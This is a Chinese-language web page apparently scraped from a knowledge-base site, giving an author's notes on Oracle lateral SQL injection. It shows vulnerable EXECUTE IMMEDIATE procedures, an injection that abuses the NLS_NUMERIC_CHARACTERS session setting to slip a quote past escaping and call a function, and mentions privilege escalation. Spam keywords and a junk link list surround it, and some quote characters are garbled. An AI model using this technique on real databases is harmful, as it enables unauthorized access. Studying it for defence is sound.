婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > ORACLE LATERAL-SQL-INJECTION 個人見解

ORACLE LATERAL-SQL-INJECTION 個人見解

熱門標簽:語音電話機器人營銷方案 語音電話機器人缺點 淮安自動外呼系統開發 地圖標注原件 百變地圖標注 修改高德地圖標注 廣州市400電話辦理 南通防封外呼系統運營商 宜賓外呼系統廠家
如果直接執行SQL語句或者參數綁定則不用擔心太多,
如以下ORACLE存儲過程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要擔心遭受到SQL新型注入攻擊,那么在什么地方會發生DATE 以及 NUMBER的注入攻擊呢!?一般都是采用了動態SQL而又不采用參數綁定的語句。

例如工程師經常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存儲過程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存儲過程或者函數等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的,

老外的PAPER講解得非常詳細了 ,我在這里也不廢話。

惟獨對于 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號!

看以下語句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

輸出一下結果

1000′10001

只是多了一個單引號,那有什么用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個存儲過程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

內部對varchar類型進行替換了!我們可以進行測試

begin

numinjpoc(1000,”'–');

end;

其輸出SQL語句為

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

單引號被轉義掉了

那么如果我們結合這個NUMBER類型怎么進行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看輸出結果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

這樣就可以間接的攻擊它…

在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統內部的一些函數或者過程來提升權限。未嘗不是一種好的突破思路,但是對于單語句進行SQL注射攻擊,以結果為向導的話!這樣的方式沒多大作為。

標簽:池州 通化 襄陽 股票投資 嘉峪關 南平 南平 聊城

巨人網絡通訊聲明:本文標題《ORACLE LATERAL-SQL-INJECTION 個人見解》,本文關鍵詞  ORACLE,LATERAL-SQL-INJECTION,個人,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《ORACLE LATERAL-SQL-INJECTION 個人見解》相關的同類信息!
  • 本頁收集關于ORACLE LATERAL-SQL-INJECTION 個人見解的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 卢氏县| 河南省| 桑植县| 杭州市| 鄂伦春自治旗| 京山县| 乌兰县| 海口市| 湾仔区| 贺州市| 和平区| 广宁县| 南丹县| 镇宁| 武宣县| 陆川县| 略阳县| 阿拉善左旗| 宜川县| 克什克腾旗| 仁寿县| 英山县| 南木林县| 从江县| 安仁县| 长宁区| 永泰县| 商城县| 望都县| 抚顺市| 潮安县| 贵溪市| 大化| 大关县| 巩义市| 勃利县| 盱眙县| 淳化县| 进贤县| 巫溪县| 稻城县|